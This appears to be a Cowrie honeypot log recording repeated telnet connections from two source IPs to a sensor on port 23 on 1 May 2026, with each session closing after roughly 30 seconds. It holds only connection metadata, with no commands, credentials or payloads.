{"eventid":"cowrie.session.closed","duration":30.31654405593872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.266578Z","src_ip":"208.115.200.90","session":"4efbfff6c84b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47952,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eeb9ce29d09","protocol":"telnet","message":"New connection: 208.115.200.90:47952 (10.17.0.5:23) [session: 1eeb9ce29d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.281906Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47962,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba4dc4b5b18","protocol":"telnet","message":"New connection: 208.115.200.90:47962 (10.17.0.5:23) [session: 8ba4dc4b5b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.310693Z"}
{"eventid":"cowrie.session.closed","duration":31.03550887107849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.324454Z","src_ip":"208.115.200.90","session":"ebe472b80d3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24304509162903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.342072Z","src_ip":"208.115.200.90","session":"0c4912aad7c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.323062658309937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.401918Z","src_ip":"208.115.200.90","session":"064ab4d4f85a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15523910522461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.457209Z","src_ip":"208.115.200.90","session":"4f60e7178456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59116,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e5d7a97a78","protocol":"telnet","message":"New connection: 208.115.219.122:59116 (10.17.0.5:23) [session: 36e5d7a97a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.494908Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47994,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3d4ebd15c0b","protocol":"telnet","message":"New connection: 208.115.200.90:47994 (10.17.0.5:23) [session: a3d4ebd15c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.509547Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47822,"dst_ip":"10.17.0.5","dst_port":23,"session":"b149bff760f7","protocol":"telnet","message":"New connection: 208.115.200.90:47822 (10.17.0.5:23) [session: b149bff760f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:31.878994Z"}
{"eventid":"cowrie.session.closed","duration":30.066025972366333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.029391Z","src_ip":"208.115.200.90","session":"c66001ba9a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59142,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ac0d636dac7","protocol":"telnet","message":"New connection: 208.115.219.122:59142 (10.17.0.5:23) [session: 1ac0d636dac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.044331Z"}
{"eventid":"cowrie.session.closed","duration":30.9525043964386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.062817Z","src_ip":"208.115.219.122","session":"4fd4af0f8bda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48094,"dst_ip":"10.17.0.5","dst_port":23,"session":"80cf0f605e9d","protocol":"telnet","message":"New connection: 208.115.200.90:48094 (10.17.0.5:23) [session: 80cf0f605e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.304700Z"}
{"eventid":"cowrie.session.closed","duration":31.24905824661255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.364947Z","src_ip":"208.115.200.90","session":"607fa353e298","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31051230430603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.399333Z","src_ip":"208.115.200.90","session":"c8019a1feb98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48116,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6fad1140caa","protocol":"telnet","message":"New connection: 208.115.200.90:48116 (10.17.0.5:23) [session: b6fad1140caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.609717Z"}
{"eventid":"cowrie.session.closed","duration":31.63787317276001,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.800784Z","src_ip":"208.115.219.122","session":"a36f2aa4ee19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48136,"dst_ip":"10.17.0.5","dst_port":23,"session":"25ff6cbeb13e","protocol":"telnet","message":"New connection: 208.115.200.90:48136 (10.17.0.5:23) [session: 25ff6cbeb13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:32.857356Z"}
{"eventid":"cowrie.session.closed","duration":30.163697481155396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.026436Z","src_ip":"208.115.219.122","session":"9fee6b43ecf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59168,"dst_ip":"10.17.0.5","dst_port":23,"session":"7344b0a20f21","protocol":"telnet","message":"New connection: 208.115.219.122:59168 (10.17.0.5:23) [session: 7344b0a20f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.106530Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59182,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f6497a982c0","protocol":"telnet","message":"New connection: 208.115.219.122:59182 (10.17.0.5:23) [session: 3f6497a982c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.129103Z"}
{"eventid":"cowrie.session.closed","duration":30.330391883850098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.142579Z","src_ip":"208.115.200.90","session":"bb13c1efe8fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48090,"dst_ip":"10.17.0.5","dst_port":23,"session":"74252bad5bd1","protocol":"telnet","message":"New connection: 208.115.200.90:48090 (10.17.0.5:23) [session: 74252bad5bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.162267Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59188,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a99338bea5","protocol":"telnet","message":"New connection: 208.115.219.122:59188 (10.17.0.5:23) [session: f4a99338bea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.192587Z"}
{"eventid":"cowrie.session.closed","duration":31.08733081817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.277455Z","src_ip":"208.115.200.90","session":"c41361dd89cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59208,"dst_ip":"10.17.0.5","dst_port":23,"session":"945c8ac38714","protocol":"telnet","message":"New connection: 208.115.219.122:59208 (10.17.0.5:23) [session: 945c8ac38714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.312515Z"}
{"eventid":"cowrie.session.closed","duration":31.30028772354126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.360843Z","src_ip":"208.115.200.90","session":"8377d976feee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889508724212646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.456554Z","src_ip":"208.115.200.90","session":"d9a3fdebb9ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59214,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d478d63ebb7","protocol":"telnet","message":"New connection: 208.115.219.122:59214 (10.17.0.5:23) [session: 6d478d63ebb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.508526Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48154,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d84c01c61d","protocol":"telnet","message":"New connection: 208.115.200.90:48154 (10.17.0.5:23) [session: 38d84c01c61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.531430Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48162,"dst_ip":"10.17.0.5","dst_port":23,"session":"adb89c2c1d95","protocol":"telnet","message":"New connection: 208.115.200.90:48162 (10.17.0.5:23) [session: adb89c2c1d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.602044Z"}
{"eventid":"cowrie.session.closed","duration":31.11653733253479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.617934Z","src_ip":"208.115.200.90","session":"859171320dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48188,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56b53fbefff","protocol":"telnet","message":"New connection: 208.115.200.90:48188 (10.17.0.5:23) [session: a56b53fbefff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.688980Z"}
{"eventid":"cowrie.session.closed","duration":31.394993782043457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.711224Z","src_ip":"208.115.219.122","session":"87cdcb33fbb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.460901260375977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.730276Z","src_ip":"208.115.200.90","session":"8db27da466cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.479129791259766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:33.940243Z","src_ip":"208.115.200.90","session":"8926071673b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90368366241455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.096678Z","src_ip":"208.115.200.90","session":"0e38f3373b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48200,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f03c06691c","protocol":"telnet","message":"New connection: 208.115.200.90:48200 (10.17.0.5:23) [session: a1f03c06691c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.121318Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9f44b9273b","protocol":"telnet","message":"New connection: 208.115.219.122:59256 (10.17.0.5:23) [session: 6e9f44b9273b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.143291Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48138,"dst_ip":"10.17.0.5","dst_port":23,"session":"35087baa57fe","protocol":"telnet","message":"New connection: 208.115.200.90:48138 (10.17.0.5:23) [session: 35087baa57fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.183470Z"}
{"eventid":"cowrie.session.closed","duration":31.09272575378418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.189128Z","src_ip":"208.115.219.122","session":"b15b2df7363d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024282217025757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.237527Z","src_ip":"208.115.200.90","session":"a4e846475fa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.035706520080566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.402958Z","src_ip":"208.115.200.90","session":"23cd62a7599d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47982,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed6a881e92e","protocol":"telnet","message":"New connection: 208.115.200.90:47982 (10.17.0.5:23) [session: 8ed6a881e92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.419045Z"}
{"eventid":"cowrie.session.closed","duration":30.64262819290161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.481254Z","src_ip":"208.115.200.90","session":"b7716aaf314d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077799558639526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.654695Z","src_ip":"208.115.200.90","session":"6c572b6bdab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58382,"dst_ip":"10.17.0.5","dst_port":23,"session":"af8358fb12f8","protocol":"telnet","message":"New connection: 208.115.200.90:58382 (10.17.0.5:23) [session: af8358fb12f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.663203Z"}
{"eventid":"cowrie.session.closed","duration":31.77240300178528,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.770773Z","src_ip":"208.115.200.90","session":"6245aadf6fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58386,"dst_ip":"10.17.0.5","dst_port":23,"session":"da9832c86b56","protocol":"telnet","message":"New connection: 208.115.200.90:58386 (10.17.0.5:23) [session: da9832c86b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.850925Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58388,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf85daa54bf7","protocol":"telnet","message":"New connection: 208.115.200.90:58388 (10.17.0.5:23) [session: bf85daa54bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:34.893806Z"}
{"eventid":"cowrie.session.closed","duration":30.811684370040894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.045817Z","src_ip":"208.115.200.90","session":"1ba7d70519e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48078,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b70c14ea9e9","protocol":"telnet","message":"New connection: 208.115.200.90:48078 (10.17.0.5:23) [session: 5b70c14ea9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.146490Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58432,"dst_ip":"10.17.0.5","dst_port":23,"session":"658a8f46abc8","protocol":"telnet","message":"New connection: 208.115.200.90:58432 (10.17.0.5:23) [session: 658a8f46abc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.242282Z"}
{"eventid":"cowrie.session.closed","duration":31.202649116516113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.264347Z","src_ip":"208.115.200.90","session":"ba4c0a4a14df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58444,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fc400799b4a","protocol":"telnet","message":"New connection: 208.115.200.90:58444 (10.17.0.5:23) [session: 3fc400799b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.293139Z"}
{"eventid":"cowrie.session.closed","duration":31.140843391418457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.313279Z","src_ip":"208.115.200.90","session":"fa6720d23580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46706,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdb93c2055a9","protocol":"telnet","message":"New connection: 208.115.219.122:46706 (10.17.0.5:23) [session: cdb93c2055a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.368702Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58494,"dst_ip":"10.17.0.5","dst_port":23,"session":"32ab8f552979","protocol":"telnet","message":"New connection: 208.115.200.90:58494 (10.17.0.5:23) [session: 32ab8f552979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.481388Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58538,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a2d3984bc4","protocol":"telnet","message":"New connection: 208.115.200.90:58538 (10.17.0.5:23) [session: 93a2d3984bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.643984Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"59361b464c24","protocol":"telnet","message":"New connection: 208.115.200.90:58548 (10.17.0.5:23) [session: 59361b464c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:35.690263Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46712,"dst_ip":"10.17.0.5","dst_port":23,"session":"351b523074e8","protocol":"telnet","message":"New connection: 208.115.219.122:46712 (10.17.0.5:23) [session: 351b523074e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.004418Z"}
{"eventid":"cowrie.session.closed","duration":30.946343421936035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.014782Z","src_ip":"208.115.219.122","session":"99b0495d69c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"81e0aa8bef7e","protocol":"telnet","message":"New connection: 208.115.219.122:59158 (10.17.0.5:23) [session: 81e0aa8bef7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.048636Z"}
{"eventid":"cowrie.session.closed","duration":30.963094234466553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.061501Z","src_ip":"208.115.219.122","session":"4ae56f5f23a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46722,"dst_ip":"10.17.0.5","dst_port":23,"session":"856615354746","protocol":"telnet","message":"New connection: 208.115.219.122:46722 (10.17.0.5:23) [session: 856615354746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.156646Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58572,"dst_ip":"10.17.0.5","dst_port":23,"session":"30891d6fed70","protocol":"telnet","message":"New connection: 208.115.200.90:58572 (10.17.0.5:23) [session: 30891d6fed70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.211598Z"}
{"eventid":"cowrie.session.closed","duration":30.54085373878479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.280941Z","src_ip":"208.115.200.90","session":"22028cd30f94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58574,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a19a6318e7","protocol":"telnet","message":"New connection: 208.115.200.90:58574 (10.17.0.5:23) [session: 04a19a6318e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.286993Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46736,"dst_ip":"10.17.0.5","dst_port":23,"session":"e096e223d4b6","protocol":"telnet","message":"New connection: 208.115.219.122:46736 (10.17.0.5:23) [session: e096e223d4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.491218Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58576,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaaa3ad274b5","protocol":"telnet","message":"New connection: 208.115.200.90:58576 (10.17.0.5:23) [session: eaaa3ad274b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.598440Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58578,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdaf18a34b6a","protocol":"telnet","message":"New connection: 208.115.200.90:58578 (10.17.0.5:23) [session: fdaf18a34b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:36.701653Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58654,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e7c33dee88d","protocol":"telnet","message":"New connection: 208.115.200.90:58654 (10.17.0.5:23) [session: 5e7c33dee88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.022744Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58662,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b615e4a369b","protocol":"telnet","message":"New connection: 208.115.200.90:58662 (10.17.0.5:23) [session: 9b615e4a369b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.029740Z"}
{"eventid":"cowrie.session.closed","duration":31.016452074050903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.060378Z","src_ip":"208.115.219.122","session":"91787d0ce664","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982545852661133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.111958Z","src_ip":"208.115.200.90","session":"cd42a3298106","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63113307952881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.117111Z","src_ip":"208.115.200.90","session":"0f07362b0cc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847756147384644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.129166Z","src_ip":"208.115.200.90","session":"ed704c36d4cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999480962753296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.133770Z","src_ip":"208.115.200.90","session":"0cfbde2d00fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66720938682556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.156629Z","src_ip":"208.115.200.90","session":"f778ea6b42a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58562,"dst_ip":"10.17.0.5","dst_port":23,"session":"a20d3fec01a0","protocol":"telnet","message":"New connection: 208.115.200.90:58562 (10.17.0.5:23) [session: a20d3fec01a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.191603Z"}
